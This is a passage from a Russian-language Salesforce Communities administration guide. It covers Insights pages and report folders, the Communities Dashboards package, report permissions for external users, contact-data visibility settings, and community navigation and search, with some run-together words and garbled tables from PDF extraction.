соотносить собственные сведения. У каждого сообщества могут быть свои подробные
сведения.

Страницы «Подробные сведения» соотносятся с папками отчетов во внутренней
организации. Всеотчеты, содержащиеся в этойпапке, отображаются враскрывающемся
меню на странице «Подробные сведения». При добавлении или удалении отчета
«Подробныесведения»изпапкиотчетоввовнутреннейорганизациибудетобновляться
истраница «Подробныесведения»в управлениисообществом.Настранице «Подробные
сведения» ссылки на объекты автоматически создаются для таких полей отчетов, как
«Создано» или «Имя группы».

Совет: Стандартные подробные сведения можно найти в пакете «Панели
мониторинга сообществ Salesforce, доступном для загрузки в AppExchange. To use
the preconfigured Insights reports, your community must use Chatter.Приустановке этого
пакета папки отчетов также будут автоматически установлены во внутренней
организации. При отсутствии ранее соотнесенных подробных сведений пакет
выполнит автоматическое соотнесениеновых. Соотнесениепоумолчаниюможно
изменить в любое время.

Для соотнесения или обновления подробных сведений на странице «Управление
сообществом»:

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Последовательно выберите пункты «Подробные сведения» -> > «Параметры».

3. Укажите имя каждой страницы подробных сведений и выберите папку отчетов для
соотнесения со страницей.

В управлении сообществом можно соотнести до 10 страниц подробных сведений.

Убедитесь, чтоменеджерамсообществаоткрыт совместныйдоступк соотнесеннойпапкеотчетов; впротивномслучае
они не смогут просматривать отчеты «Подробные сведения».

4. Нажмите кнопку «Сохранить».

Менеджеры сообществ могут просматривать страницы подробных сведений при раскрытии раздела «Подробные
сведения» в управлении сообществом.
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Просмотрите сделанные изменения. Выберите пункт «Подробные сведения» ищелкните имя каждой страницы
подробныхсведений. Проверятьотчеты, соотнесенныес каждойстраницей, можноспомощьюраскрывающегосяменю.

СМ. ТАКЖЕ:

Создание подробных сведений для отображения на странице «Управление сообществом»

Просмотр и настройка подробных сведений на странице «Управление сообществом»

Предоставление общего доступа к папке отчетов или панелей мониторинга

Создание подробных сведений для отображения на странице «Управление
сообществом»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

Для создания и совместного
использования папок с
отчетами:
• «Управление отчетами в

общедоступных папках»

Можно создавать собственные подробные сведения для отображения на странице
«Управление сообществом». Рекомендуем создавать отчеты «Подробные сведения» на
основе типов настраиваемых отчетов, доступных для сообществ.

Совет: Стандартные подробные сведения можно найти в пакете «Панели
мониторинга сообществ Salesforce, доступном для загрузки в AppExchange. Для
применения предварительно настроенных отчетов «Подробные сведения»
сообщество должно использовать Chatter.

С помощью следующего процесса создайте подробные сведения для отображения на
странице «Управление сообществом».

1. Создайте типы настраиваемых отчетов на основе объекта «Сети».

Отчеты, основанные на объекте «Сети», отображают информацию сообщества в
управлении сообществом.

Прим.: При необходимости создайте отчеты на основе других объектов и
разрешите их отображение в управлении сообществом. Помните, что данные
отчетыбудутотображатьсведениявсейорганизации, ане толькоиспользуемого
сообщества.

• Выберите объект «Сети» в качестве основного.

• Выберите дочерний объект.

– Сообщения Chatter

– Новые версии ленты

– Группы

– Аудиты сети

– Ежедневные показатели действий сети

– Участники сети

– Ежедневные показатели участников сети

– Модерации сети

– Ежедневные показатели общедоступного использования сети

– Ежедневные показатели уникальных авторов сети

– Показатель рекомендации

– Назначения темы
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– Темы

2. Чтобы создать отчет «Подробные сведения», воспользуйтесь типом настраиваемого отчета.

Отчеты «Подробные сведения» идентичны другим отчетам, однако они должны также удовлетворять следующим
требованиям:

• отчет должен предоставляться только в табличном виде;

• в отчете не допускается пагинация.

• Рекомендуется, чтобыотчет возвращал 2 000 строкилименее, поскольку толькопервые 2 000 строк отображаются
в управлении сообществом.

Чтобы гарантировать динамическое отображение данных для используемого сообщества, убедитесь, что отчет не
фильтруется по коду сети. При добавлении кода сети отчет отображает данные только для выбранного сообщества,
независимо от сообщества, используемого для его просмотра.

3. Сохраните отчет в новую папку отчетов, которая будет использоваться для соотнесения.

Рекомендуем создать отдельную папку отчетов для каждой страницы «Подробные сведения». Например, создайте
одну папку отчетов с именем «Участники подробных сведений», а другую — с именем «Модерирование подробных сведений».

Страницы «Подробныесведения»соотносятсяспапкамиотчетоввовнутреннейорганизации. Всеотчеты, содержащиеся
в этой папке, отображаются в раскрывающемся меню на странице «Подробные сведения». При добавлении или
удалении отчета «Подробные сведения» из папки отчетов во внутренней организации будет обновляться и страница
«Подробные сведения» в управлении сообществом.

4. Откройте менеджерам сообщества совместный доступ к папке отчетов «Подробные сведения».

5. Чтобы соотнести страницы «Подробные сведения» в управлении сообществом, последовательно выберите пункты
«Подробные сведения» > > «Параметры».

При входе менеджера сообщества в управление сообществом отчеты «Подробные сведения» будут отображаться в
раскрывающемся меню на соотнесенной странице «Подробные сведения».

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета

Создание отчета

Отслеживание действий сообщества

Предоставление общего доступа к папке отчетов или панелей мониторинга
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Просмотр и настройка подробных сведений на странице «Управление сообществом»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра подробных
сведений на странице
«Управление сообществом»:
• “«Управление

сообществами» ИЛИ
«Создание и настройка
сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Для настройки отчетов
«Подробные сведения»:
• «Создание и настройка

отчетов»

С помощью подробных сведений в управлении сообществом можно отслеживать
недавние действия и устанавливать ее источник для выполнения дальнейших действий.
Подробныесведенияпомогаютобрабатыватьифорсироватьвзаимодействиеивнедрение
в рамках сообщества.

На странице «Подробные сведения» ссылки на объекты автоматически создаются для
таких полей отчетов, как «Создано» или «Имя группы». Эта ссылка позволяет легко
устанавливать источник активности для дальнейших действий.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Нажмите кнопку «Подробные сведения».

Прим.: Ваш администратор соотносит страницы подробных сведений. Если
раздел «Подробные сведения» не отображается, он не соотнесен с вашим
сообществом.

Страницыс соотнесеннымипапкамиотчетовотображаютсяприраскрытиираздела
«Подробные сведения».

3. Щелкните нужную страницуПодробные сведения.

4. Отфильтруйте и отсортируйте отчет «Подробные сведения».

Можно отфильтровать отчет «Подробные сведения» по диапазону относительных
и настраиваемых дат. Используйте фильтр дат с раскрывающимся списком для
выбора следующих диапазонов относительных дат: «Все время», «Текущая неделя»,
«Текущий месяц», «Прошлый месяц», «Сегодня», «Вчера», «Последние 7 дней» и
«Последние 30 дней». Также можно указать собственный настраиваемый диапазон
дат.

Чтобы отсортировать отчет по конкретному столбцу, щелкните заголовок нужного
столбца. Стрелка в столбце указывает, отсортирован отчет по убыванию или по
возрастанию.

5. Для доступа к другим отчетам «Подробные сведения» нажмите значок рядом с названием отчета.

6. Нажмите кнопку «Правка отчета» для настройки отчета «Подробные сведения» в соответствии с потребностями
сообщества. Можно добавлять и удалять столбцы и обновлять фильтры отчетов.

Чтобы гарантировать динамическое отображение данных для используемого сообщества, убедитесь, что отчет не
фильтруется по коду сети. При добавлении кода сети отчет отображает данные только для выбранного сообщества,
независимо от сообщества, используемого для его просмотра.

Отчеты «Подробные сведения» в управлении сообществом обновляются автоматически при открытии. Для
принудительного обновления также можно нажать кнопку «Обновить».

СМ. ТАКЖЕ:

Создание подробных сведений для отображения на странице «Управление сообществом»

Включение и соотнесение подробных сведений для менеджеров сообществ
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Составление отчетов

Отчеты по сообществам с пакетом «Панели мониторинга и подробные
сведения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки пакетов
AppExchange:
• «Загрузка пакетов

AppExchange»

Пакет Salesforce Communities Dashboards предоставляет менеджерам сообщества
необходимый начальный набор панелей мониторинга и отчетов для отслеживания
действий и занятости непосредственно в управлении сообществом.

Рекомендуем использовать пакет Salesforce Communities Dashboards для выполнения
указанных ниже действий.

• Просмотр последних показателей и быстрое отслеживание тенденций

• Определение скорости развития сообщества

• Выявление наиболее активных участников

• Определение наиболее живых дискуссий между людьми и группами

• Нахождение областей сообщества, требующих особого внимания

• Определение источника активности и принятие мер по отчетам «Подробные
сведения»

Прим.: Для применения предварительно настроенных отчетов «Подробные
сведения» сообщество должно использовать Chatter.

Установите одну из следующих версий из AppExchange:

• Salesforce Communities Dashboards (для сообществ с Chatter)

• Salesforce Communities Dashboards (для сообществ без Chatter)

Совет: Инструкциипо установке, подробнуюинформациюоботчетахируководствопообновлениюсм. в разделе
Начало работы с панелями мониторинга и подробными сведениями сообществ.

Впроцессеустановкипанельмониторингаипапкиотчетовавтоматическиустанавливаютсявовнутреннююорганизацию.
У вас также будет возможность предоставить менеджерам сообщества доступ к содержимому пакета, что позволит не
открывать общий доступ к панели мониторинга и папкам отчетов. Если у вас нет соотнесенных подробных сведений
илипанелеймониторингавуправлениисообществом, будетвыполненоавтоматическоесоотнесениевпроцессеустановки.

После установки пакета доступ к новым панелям мониторинга и отчетам можно будет получить посредством любых
других панелей мониторинга и отчетов Salesforce. При просмотре панелей мониторинга на странице «Управление
сообществом» отображаются данные сообщества. Панели мониторинга и отчеты в пакете полностью доступны для
настройки. Все содержимое пакета можно свободно настраивать и изменять. Мы не обидимся.

Как только станет доступнановая версияпакета, вы сможетепереустановитьиобновить его. Если вынастраивалиотчеты
и панели мониторинга, ваши настройки сохранятся во время установки.

Требуется
Chatter

ОписаниеИмя
страницы

Узел
навигации

Своевременное информирование относительно недавних действий или
состава сообщества. Эта панель мониторинга соотнесена с вашей
начальной страницей управления сообществом.

Начальная
страница

Панели
мониторинга
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Требуется
Chatter

ОписаниеИмя
страницы

Узел
навигации

Быстрый просмотр общего состояния сообществ. Отчеты по трендингу
за 90 дней отображают общее количество участников, количество новых

Общие
сведения

участниковиколичествовходов участников. ПриналичииChatter снимки
за 90 дней отображают показатели по сообщениям и комментариям.

Просмотр показателей по сообщениям, комментариям и уникальным
ежедневнымавторам, а такжетиповучастников, публикующихсообщения
и комментарии.

Действие

Помимо отслеживания показателей использования Chatter в сообществе,
пользователи могут отслеживать показатели использования Chatter во

Chatter

внутренней организации. Специальные панели мониторинга Chatter
позволяютсоставлятьотчетытолькопопоказателямиспользованияChatter
для внутренней организации. Данные панели мониторинга и отчеты
хранятся в папках «Chatter Dashboards» и «Chatter Reports».

Отслеживание выгрузок, загрузок, занятости и авторов содержимого.Содержимое

Отслеживание участников, а также показателей публикации сообщений
и комментариев внутри групп (один из определяющихфакторов успеха
сообщества).

Группы

Отслеживание показателей использования лицензий и частоты входа по
лицензиям клиентов и партнеров.

Лицензии

Измерение показателей роста участников и просмотр показателей входа
за последние 30 дней.

Участники

Отслеживание помеченного содержимого сообщества.Модерирование

Просмотр показателей по вопросам, ответам и лучшим ответам,
опубликованным в группах.

Q&A

Просмотр показателей по вопросам, ответам и лучшим ответам,
опубликованным в профилях пользователей. Эта панель мониторинга
особенно подходит сообществам, использующимшаблон Napili.

Самообслуживание

Просмотр показателей по навигационным и специальным темам в
сообществе.

Темы

Отслеживание активности участников и помощь при развертывании
сообщества.

ВнедрениеПодробные
сведения

Отслеживание записей и комментариев в группах и просмотр наиболее
активных участников сообщества.

Взаимодействие

Отслеживаниезагрузокивыгрузокфайлов, включаяфайлыснаибольшим
количеством комментариев.

Файлы

Определение групп с деактивированными или неактивными
ответственными, а также заархивированныхилиготовящихсяк архивации
групп.

Группы
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Требуется
Chatter

ОписаниеИмя
страницы

Узел
навигации

Отслеживаниепомеченныхзаписей, файлов, сообщенийисодержимого,
помеченного правилами модерирования в сообществе.

Модерирование

Отслеживание вопросов и ответов в профилях пользователей, включая
вопросы, расширенныедообращений. Этастраницаподробныхсведений
особенно подходит сообществам, использующимшаблон Napili.

Самообслуживание

Постоянный мониторинг недавней активности в темах сообщества.Темы

Запутались в разнице между подробными сведениями и панелями мониторинга?

Панели мониторинга используются для просмотра
аналитикисообщества, напримерпоказателейитенденций

Подробные сведения используются для просмотра,
мониторинга и выполнения действий относительно

активности. Панели мониторинга предоставляютактивностивсообществе. Подробныесведениядаютчеткое
представление о конкретной области сообщества. долгосрочные обзоры внедрения и взаимодействия в

сообществе. Они позволяют определять эффективность
кампаний по рентабельности инвестиций и ключевые
показатели эффективности.

Просматриватьобщееколичествозаписейикомментариев,
включая общие тенденции по количеству участий в

Просмотреть отчет о новых участниках сообщества,
получивших наибольшее количество лайков на записях,

сообществе, можно на страницеПанели мониторинга >
Активность.

можно на страницеПодробные сведения > Внедрение.
Этототчетпоподробнымсведениямпозволяетопределять
новых активныхучастников, получившихположительный
отзыв от других участников сообщества, и
взаимодействовать с ними.

СМ. ТАКЖЕ:

Включение и соотнесение подробных сведений для менеджеров сообществ

Включение и соотнесение панелей мониторинга для менеджеров сообщества
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Настройка функции управления отчетами для внешних пользователей:
создание и редактирование отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания наборов
полномочийили включения
настраиваемыхполномочий
в профилях:
• «Управление

профилями и наборами
полномочий»

Для назначения набора
полномочийпользователю:
• «Назначение наборов

полномочий»

Для предоставления
внешним пользователям
общего доступа к папке
отчетов:
• Уровень доступа

«Менеджер» или
полномочие
«Управление отчетами в
общедоступных папках»

Пользователи-партнеры и пользователи-клиенты сообщества могут создавать и
редактировать отчеты в собственной личной папке или папке, доступной в частном
порядке, приналичиисоответствующихполномочий. Принеобходимостипредоставьте
пользователям-партнерам и пользователям-клиентам полномочия для создания и
редактирования отчетов посредством профилей или наборов полномочий. После
предоставления обязательных полномочий они смогут использовать интерактивный
инструмент «Конструктор отчетов».

Важное замечание: При использовании организации, созданной до выпуска
Summer'13, рекомендуемсначала включитьрасширенныйобщийдоступкотчетам
и панелям мониторинга. См. документ «Общий доступ к папке аналитики».

Внешние пользователи могут создавать, настраивать и удалять отчеты только
посредством инструмента «Конструктор отчетов».

Доступностьданныхопределяетсядвумяосновнымикомпонентами: рольпользователя,
назначенная партнеру или клиенту, и правила общего доступа организации. Благодаря
поддержкепараметровбезопасностиполяорганизации, конструкторотчетовпозволяет
отображать пользователям-партнерам или пользователям-клиентам только поля,
доступные внешним пользователям.

1. Чтобы разрешить внешним пользователям создание и редактирование отчетов,
включите полномочия «Создание и настройка отчетов», «Конструктор отчетов» и
«Редактированиемоихотчетов» посредствомнастраиваемыхпрофилейилинаборов
полномочий. Чтобы разрешить внешним пользователям экспорт данных отчета,
предоставьте им полномочие «Экспорт отчетов».

Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
ивыберитепункт «Наборыполномочий»или «Профили». Назначьте следующие
разрешения:

Полномочия внешнего пользователя, необходимые для создания и
редактирования отчетов

«Создание и настройка отчетов»

И

«Конструктор отчетов»

Для создания, настройки и удаления отчетов
в личной папке:

«Редактирование моих отчетов»

И

Для создания, настройки и удаления
собственных отчетов в папке, доступной в
частномпорядке, приналичииуровнядоступа
«Гость»: «Конструктор отчетов»

«Экспорт отчетов»Для экспорта данных отчета:

Можнопредоставлятьполномочиедля созданияиредактированияотчетов внешнимпользователямнаосноверолей
с лицензиями «Клиентское сообщество плюс» и «Партнерское сообщество». Кроме того, можно предоставлять
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полномочие всем устаревшим лицензиям портала на основе ролей, например «Клиентский портал» и «Золотой
партнер».

Прим.:

• Данные полномочия недоступны массовым лицензиям пользователей (например, «Пользовательское
сообщество», «Массовый клиентский портал», «Портал Service Cloud» и «Проверенный веб-узел»).

• Внешниепользователи с устаревшимилицензиямипортала могут создавать и редактировать отчеты только
в сообществах.

2. Чтобы разрешить внешним пользователям создание или редактирование отчетов в папке, доступной в частном
порядке, предоставьте им уровень доступа «Гость» к нужной папке.

Щелкните значок напротив нужной папки в представлении «Папки» на вкладке «Отчеты» и выберите пункт
«Опубликовать».

Прим.: Пользователи-партнеры и пользователи-клиенты не могут создавать, редактировать и просматривать
отчеты в папке «Изъятые общедоступные отчеты».

Взависимостиотдоступныхобъектов, полейикатегорийвнешниепользователимогутпросматриватьтипынастраиваемых
отчетов в пользовательском интерфейсе при создании отчета. Типы настраиваемых отчетов отображаются только при
наличии доступа для чтения к полям или объектам, добавленным в тип настраиваемого отчета.

СМ. ТАКЖЕ:

Предоставление общего доступа к папке отчетов или панелей мониторинга

Сравнение уровней доступа к папкам отчетов и панелей мониторинга

Ограничения для отчетов и панелей мониторинга для сообществ
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Отслеживание действий сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создайтенастраиваемыеотчеты, позволяющиеотслеживать статистикуиспользования,
действия по модерированию и другие действия сообщества.

Совет: При необходимости загрузите и установите пакет «Панели мониторинга
сообществ Salesforce», содержащий предварительно настроенные панели
мониторинга, из каталога AppExchange.

Для мониторинга состояния сообщества можно создать типы настраиваемых отчетов,
а затем создать отчет, использующий нужный настраиваемый тип. Кроме того, если
требуется, чтобы менеджеры сообщества просмотрели ваш отчет на странице
«Управление сообществом», можно создать или отредактировать панель мониторинга,
в которую будет входить отчет, и соотнести обновленную панель со страницей
«Управление сообществом», последовательно выбрав «Панели мониторинга» >
«Параметры».

Прим.: Отчеты и панели мониторинга на основе объекта «Сети» отображают сведения о сообществе на странице
«Управлениесообществом». Этоуказываетна возможностьсозданияодногонастраиваемогоотчетаииспользования
его во всех сообществах.

Чтобы начать составление отчетов для сообществ, воспользуйтесь приведенной ниже таблицей:

ОписаниеОсновной объект > «Б» (дочерний объект)
> «В» (дочерний объект, при его наличии)

Общее
использование

Создание отчетов по действиям над личными
сообщениями в сообществе.1

«Сети» > «Сообщения Chatter»Использование
Chatter

Создание отчетов по группам в сообществе.«Сети» > «Группы»Использование
Chatter

Создание отчетов по всем действиям
модерирования и журналу в сообществе

Чтобы предоставить отчет о действиях
модерирования в личных сообщениях Chatter,

«Сети» > «Аудиты сети»Модерирование

отфильтруйте отчет по критерию «Тип
аудируемого объекта»  (в объекте «Аудиты
сети») для «Сообщения Chatter».

Создание отчетов по пользователям
сообщества, пометившим элементы или
модерировавшим помеченные элементы.

«Сети» > «Участники сети» > «Аудит действий
сети: модератор»

Модерирование

Создание отчетов по пользователям
сообщества, элементыкоторыхбылипомечены,
заблокированы или заменены.

«Сети» > «Участники сети» > «Аудит действий
сети: пользователь»

Модерирование

Создание отчетов по содержимому, которое
помечено в данный момент в сообществе.

«Сети» > «Модерации сети»Модерирование
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ОписаниеОсновной объект > «Б» (дочерний объект)
> «В» (дочерний объект, при его наличии)

Общее
использование

Созданиеотчетовпо ежедневнымпросмотрам
общедоступных страниц сообщества и
уникальным посетителям.

«Сети» > «Ежедневные показатели
общедоступного использования сети»

Общедоступное
действие

Создание отчетов по использованию
настраиваемых рекомендаций в сообществе.

«Сети» > «Показатель рекомендации»Рекомендации

Создание отчетов по действиям над темами в
сообществе.

«Сети» > «Темы»Действие темы

Создание отчетов по назначениям тем в
сообществе.

«Сети» > «Назначения темы»Действие темы

Создание отчетов по ежедневному количеству
сообщенийикомментариевпотипуучастника.

«Сети» > «Ежедневныепоказателидействийсети»Действие
пользователя

Создание отчетов по действиям входа в
сообществе.

«Сети» > «Участники сети» > «Журнал входов»Действие
пользователя

Создание отчетов по общему ежедневному
количеству активных участников, новых

«Сети» > «Ежедневные показатели участников
сети»

Действие
пользователя

участников и входов внешних участников по
типу участника.

Создание отчетов по уникальным авторам в
сообществе. Участниксчитается авторомпосле

«Сети» > «Ежедневные показатели уникальных
авторов сети»

Действие
пользователя

публикации сообщения или комментария в
группе или профиле пользователя.

Чтобы создать отчет по профилям
пользователей с фотографиями или без них,

«Сети» > «Участники сети»Фотографии
профиля
пользователя отфильтруйтеотчетпопараметру «Есть фото

для профиля»  (в объекте «Участники сети»),
по оператору «Верно» или «Неверно».

1Прежде чем составить отчет по сообщениям Chatter, убедитесь в наличии полномочия «Управление всеми данными»
или «Управление сообществами».

Прим.: Принеобходимостисоздайтепанелимониторинганаоснове другихобъектовиразрешитеихотображение
на странице «Управление сообществом». Помните, что данные панели мониторинга будут отображать сведения
всей организации, а не только используемого сообщества.

СМ. ТАКЖЕ:

Отчеты по сообществам с пакетом «Панели мониторинга и подробные сведения»

Ограничения для отчетов и панелей мониторинга для сообществ

Создание типа настраиваемого отчета
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Обучение пользователей работе с сообществами

Предоставление общего доступа к личным контактным данным внутри
сообществ
Пользователимогутопределятьинформациюпрофиля, котораядолжнабытьдоступнавнешнимпользователям (например,
клиентам и партнерам), а также гостям, просматривающим общедоступные страницы, которые не требуют входа.

Система позволяет защищать личные контактные данные путем их полного или частичного сокрытия от участников
сообщества. Внешнимпользователяммогутбытьнедоступныдолжности, номера телефоновидругиеконтактныеданные.
Клиенты и партнеры могут скрывать от других клиентов и партнеров все свои контактные данные.

ДоступностьможетконтролироватьсяпосредствомпользовательскогоинтерфейсаилиинтерфейсаAPI. Можнопоказывать
данные только сотрудникам, участникам сообществ, не являющимся сотрудниками вашей компании, или гостям, не
выполнившим вход в систему. К отдельным полям имеют доступ все пользователи, имеющие доступ к сообществу.
Некоторые поля поддерживают до трех уровней доступности.

• «Сотрудники»: данные могут просматриваться только участниками внутренней организации.

• «Внешний»: данныемогутпросматриватьсяучастникамивнутреннейорганизацииивнешнимиучастниками (например,
клиентами и партнерами). Внешние пользователи — это пользователи с лицензиями сообщества, клиентского или
партнерского портала.

• «Общедоступный»: данные могут просматриваться любыми пользователями, включая пользователей-гостей,
просматривающих общедоступные страницы, которые не требуют входа. Пользователи-гости могут заходить на
общедоступныестраницысообществполицензиипользователя-гостя, связаннойс каждымсайтомилисообществом.

Значение true, заданное полю API-объекта User, предоставляет доступ типу пользователя, указанному в имени поля
(внешние пользователи или пользователи-гости).

Ниже перечислены рекомендации по определению доступности контактных данных.

• Выбранные параметры применяются к каждому сообществу со своим участием.

• При ограничении доступа к полю контактных данных пользовательский интерфейс и интерфейс API отображают
разное содержимое.

– Пользовательскийинтерфейсскрываетограниченноеполепрофилявовсехобластях его типичногоотображения
в сообществе. Если организация отображает данные профиля на настраиваемых страницах Visualforce, то поле
продолжает отображаться, но содержит значение «Недоступно».

– Значение false, заданное полю API-объекта, возвращает значение «Недоступно».

• Данные из скрытых полей профиля недоступны для поиска, выполняемого в сообществе другими партнерами и
клиентами, но доступны для поиска, выполняемого пользователями во внутренней организации компании.

Стандартные параметры доступности для контактных данных
Даннаятаблицаописываетстандартныепараметрыдоступностидляконтактныхданныхиопределяетспособыограничения
доступности.
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Элементы управления API для объекта UserСпособы
ограничения
доступности

Область
пользовательского
интерфейса

Стандартная
доступность

Контактные
данные

—Эти поля видят
все, если

Последовательно
выберитепункты

«Общедоступный»Личное имя

Фамилия
администраторИмя

пользователя  >Прозвище не разрешит
отображение«Редактировать

контактные
Обо мне

прозвищ или не
данные» и создаст
откройтевкладку настраиваемую
«Общие
сведения».

страницу с
отображением
этой
информации.
При включении
возможности
отображения
прозвищличное
имя и фамилия
заменяются
прозвищем
пользователя в
большинстве
областей
приложения.

UserPreferencesShowTitleToExternalUsers

UserPreferencesShowTitleToGuestUsers

«Сотрудники»,
«Внешний» или
«Общедоступный»

Последовательно
выберитепункты
Имя
пользователя  >

«Внешний»Должность

Прим.: Есливторойнастройке заданозначение
true, то поле должности доступно внешним«Редактировать
участникам даже при выборе значения false
для первой настройки.

контактные
данные» и
откройтевкладку
«Общие
сведения».

UserPreferencesShowProfilePicToGuestUsers«Внешний» или
«Общедоступный»

Щелкните
ссылку
«Обновить»

«Внешний».
При
отсутствии

Фотография для
профиля

(или «Добавитьдоступа
фотографию»)отображается
подархивная

фотография. фотографиейна
странице
профиля и
установите
флажок
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Элементы управления API для объекта UserСпособы
ограничения
доступности

Область
пользовательского
интерфейса

Стандартная
доступность

Контактные
данные

«Показывать в
сообществах с
общедоступными
страницами».

«Сотрудники»,
«Внешний» или
«Общедоступный»

Последовательно
выберитепункты
Имя
пользователя  >

«Сотрудники»Город

Страна

Эл. почта

Прим.: Для каждой пары настроек,
определяющих доступность поля: если второй
настройке задано значение true, то поле
доступновнешнимучастникамдажепривыборе
значения false для первой настройки.

«Редактировать
контактные

Факс

Мобильный тел.
UserPreferencesShowCityToExternalUsers

UserPreferencesShowCityToGuestUsers

данные» и
откройтевкладку
«Контакт».

Область

Улица
UserPreferencesShowCountryToExternalUsers

Рабочий
телефон UserPreferencesShowCountryToGuestUsers

UserPreferencesShowEmailToExternalUsersПочтовый
индекс UserPreferencesShowEmailToGuestUsers

UserPreferencesShowFaxToExternalUsers

UserPreferencesShowFaxToGuestUsers

UserPreferencesShowManagerToExternalUsers

UserPreferencesShowManagerToGuestUsers

UserPreferencesShowMobilePhoneToExternalUsers

UserPreferencesShowMobilePhoneToGuestUsers

UserPreferencesShowPostalCodeToExternalUsers

UserPreferencesShowPostalCodeToGuestUsers

UserPreferencesShowStateToExternalUsers

UserPreferencesShowStateToGuestUsers

UserPreferencesShowStreetAddressToExternalUsers

UserPreferencesShowStreetAddressToGuestUsers

UserPreferencesShowWorkPhoneToExternalUsers

UserPreferencesShowWorkPhoneToGuestUsers
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Навигация по сообществам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система поддерживает быстрое переключение между внутренней организацией,
предназначеннойдляработы, исообществами, предназначеннымидля взаимодействия
с клиентами или партнерами. По умолчанию общий верхний колонтитул недоступен
и должен быть включен администратором организации.

Прим.: По умолчанию новый общий верхний колонтитул отображается
организациям, включившим поддержку сообществ до выпуска Winter'14, только
после включения сообществ.

Меню, расположенное слева, позволяет переключаться между сообществами и внутренней организацией.

• Чтобыоткрытьсообществоизорганизации, щелкните значок напротивстроки Имя организации враскрывающемся
менюивыберитенужноесообщество. Раскрывающеесяменюсодержитсообществасостатусом «Активно», участником
которыхявляетсятекущийпользователь. Приналичииполномочия«Созданиеинастройкасообществ»раскрывающееся
менютакжесодержитсообщества состатусом «Предварительный просмотр», участникомкоторыхявляется текущий
пользователь.

• Чтобыоткрыть внутреннююорганизацию, щелкните значок напротив строки Имя сообщества в раскрывающемся
меню и выберите имя организации.

Внутренним пользователям, которые не являются участниками сообщества, отображается только название компании.
Внешним пользователям, принадлежащим нескольким активным сообществам, отображается раскрывающееся меню.

Прим.: Есливнешнемупользователю, являющемусяучастникомтолькоодногосообщества со статусом «Активно»,
предоставляется URL-адрес сообщества со статусом «Предварительный просмотр», то при выборе сообщества со
статусом «Предварительный просмотр» раскрывающееся меню не отображается.

Чтобы одновременно использовать несколько сообществ, рекомендуем открывать каждое сообщество на отдельной
вкладке обозревателя.

Переключениемеждувнутреннейорганизациейисообществаминепрепятствуетвыполнениютекущихбизнес-процессов.
Пользователь автоматически возвращается на страницу, открытую последней, поэтому может продолжить работу без
предварительного восстановления данных.

Прим.: Если организация настраивает функцию «Мой домен», а новый настраиваемый домен не развернут, то
переключение между сообществом и внутренней организацией инициирует перенаправление пользователя на
страницу входа Salesforce. Данный алгоритм может быть инициирован входом, выполненным посредством
зарегистрированного, нонеразвернутого URL-адресафункции «Мойдомен». Еслинастраиваемыйдоменразвернут,
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то выбор организации в раскрывающемся меню инициирует перенаправление пользователя во внутреннюю
организацию.

Меню «Имя пользователя», расположенное справа, содержит ссылки для редактирования контактных данных и выхода.
Кроме того, внутреннимпользователяммогут отображаться ссылки «Справка и обучение» и «Настройка», а также ссылки
на другие инструменты. Отображаемые ссылки определяются предоставленными полномочиями пользователя и
включеннымифункциями. При использовании Lightning Experience организацией пользователи с соответствующим
полномочиеммогут переключаться между Salesforce Classic и новым интерфейсом с помощьюфункции Switcher. Ссылку
«Перейти к Lightning Experience» см. в меню «Имя пользователя». Сообщества не поддерживаются в Lightning
Experience, поэтому для работы с ними (создания, управления и доступа) из общего верхнего колонтитула необходимо
переключиться обратно в Salesforce Classic.

СМ. ТАКЖЕ:

Общие сведения о сообществах Salesforce

Алгоритм поиска в сообществах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Как правило, поиски по сообществу возвращают результаты, характерные для данного
сообщества. Алгоритм поиска также зависит от использования Chatter в организации.

Если организация использует Chatter, то глобальный поиск и контекстный поиск по
лентам доступны во всех сообществах по умолчанию.

• Благодаря глобальномупоиску, пользователимогутнаходитьнужныезаписи, файлы,
людей, группы, темы, сообщения и комментарии ленты.

• Благодаря поиску по лентам ( ), пользователи могут находить нужные сведения
в контексте конкретнойленты (например, в группах, впрофилепользователя, в ленте
записи или в ленте сообщества).

Если организация не использует Chatter, то только поиск на боковой панели доступен
во всех сообществах.

• Поискнабоковойпанелинепозволяетнаходить элементыChatter (например, ленты, группы, файлы, темыипрофили).

Алгоритм поиска по сообществам отличается от алгоритма поиска по внутренней организации.

• Какправило, поискипосообществувозвращаютрезультатыизданногосообщества. Чтобынайтиэлементыиздругого
сообщества, рекомендуем закрыть текущее сообщество и выполнить поиск по другому сообществу.

• Поиски по сообществу позволяют пользователям определять результаты, доступные посредством профилей или
